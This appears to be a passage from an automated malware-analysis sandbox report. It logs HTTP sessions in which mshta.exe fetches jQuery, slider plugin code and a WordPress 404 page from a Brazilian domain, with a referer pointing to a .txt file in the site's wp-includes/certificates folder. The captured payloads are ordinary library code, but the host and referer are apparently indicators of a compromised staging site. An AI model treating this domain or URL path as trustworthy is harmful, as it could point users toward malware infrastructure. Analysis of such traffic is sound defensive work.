                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65
                                                              Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide
                                                              Aug 16, 2022 10:33:13.289161921 CEST857INData Raw: 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 0a 63 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 2c
                                                              Data Ascii: .prototype={_init:function(a){this.options=c.extend(!0,{},c.elastislide.defaults,a);this.$slider=this.$el.find("ul");this.$items=this.$slider.children("li");this.itemsCount=this.$items.length;this.$esCarousel=this.$slider.parent();this._valid
                                                              Aug 16, 2022 10:33:13.289191008 CEST859INData Raw: 2c 5f 73 65 74 43 75 72 72 65 6e 74 56 61 6c 75 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 74 65 6d 57 3d 74 68 69 73 2e 24 69 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 21 30 29 3b 74 68 69 73 2e 73 6c 69 64 65 72 57 3d 74
                                                              Data Ascii: ,_setCurrentValues:function(){this.itemW=this.$items.outerWidth(!0);this.sliderW=this.itemW*this.itemsCount;this.visibleWidth=this.$esCarousel.width();this.fitCount=Math.floor(this.visibleWidth/this.itemW)},_addControls:function(){this.$navNex
                                                              Aug 16, 2022 10:33:13.289218903 CEST860INData Raw: 74 68 69 73 2e 24 69 74 65 6d 73 2e 62 69 6e 64 28 22 63 6c 69 63 6b 2e 65 6c 61 73 74 69 73 6c 69 64 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 6c 69 63 6b 28 63 28 74 68 69 73 29 29 7d 29 3b 61 2e 24 73 6c
                                                              Data Ascii: this.$items.bind("click.elastislide",function(){a.options.onClick(c(this))});a.$slider.touchwipe({wipeLeft:function(){a._slide("right")},wipeRight:function(){a._slide("left")}})},_slide:function(a,b,g,j){if(this.$slider.is(":animated"))return!
                                                              Aug 16, 2022 10:33:13.289256096 CEST861INData Raw: 2e 6d 61 72 67 69 6e 3f 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 31 29 3a 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 2d 31 29 3b 63 2e 66 6e 2e 61 70 70 6c
                                                              Data Ascii: .margin?this._toggleControls("right",1):this._toggleControls("right",-1);c.fn.applyStyle=g===l?c.fn.animate:c.fn.css;this.$slider.applyStyle({marginLeft:b},c.extend(!0,[],{duration:this.options.speed,easing:this.options.easing,complete:functi
                                                              Aug 16, 2022 10:33:13.292344093 CEST862OUTGET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:14.409137011 CEST951INHTTP/1.1 404 Not Found
                                                              Date: Tue, 16 Aug 2022 08:33:13 GMT
                                                              Server: Apache
                                                              Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                              Cache-Control: no-cache, must-revalidate, max-age=0
                                                              Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                              Content-Type: text/html; charset=UTF-8
                                                              X-Varnish: 19207302
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Transfer-Encoding: chunked
                                                              Connection: keep-alive
                                                              Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74
                                                              Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
                                                              Aug 16, 2022 10:33:14.409200907 CEST952INData Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f
                                                              Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
                                                              Aug 16, 2022 10:33:14.409239054 CEST953INData Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75
                                                              Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
                                                              Aug 16, 2022 10:33:14.409264088 CEST954INData Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31
                                                              Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
                                                              Aug 16, 2022 10:33:14.417104959 CEST956INData Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72
                                                              Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              22192.168.2.2249196187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:12.918163061 CEST836OUTGET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:13.131822109 CEST842INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:44 GMT
                                                              Server: Apache
                                                              ETag: "a534c3-17278-58592d497f080"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                              Content-Length: 94840
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16866017 23495778
                                                              Age: 28
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74 61
                                                              Data Ascii: /*! jQuery v1.7.2 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.data
                                                              Aug 16, 2022 10:33:13.131853104 CEST843INData Raw: 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d 64
                                                              Data Ascii: Filter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&
                                                              Aug 16, 2022 10:33:13.131882906 CEST845INData Raw: 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61 54
                                                              Data Ascii: S,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isF
                                                              Aug 16, 2022 10:33:13.131911993 CEST846INData Raw: 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28
                                                              Data Ascii: on bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttr
                                                              Aug 16, 2022 10:33:13.131941080 CEST847INData Raw: 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66 20
                                                              Data Ascii: e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArr
                                                              Aug 16, 2022 10:33:13.131973028 CEST849INData Raw: 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 5d
                                                              Data Ascii: [\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+
                                                              Aug 16, 2022 10:33:13.132004023 CEST850INData Raw: 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c 66
                                                              Data Ascii: th=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a
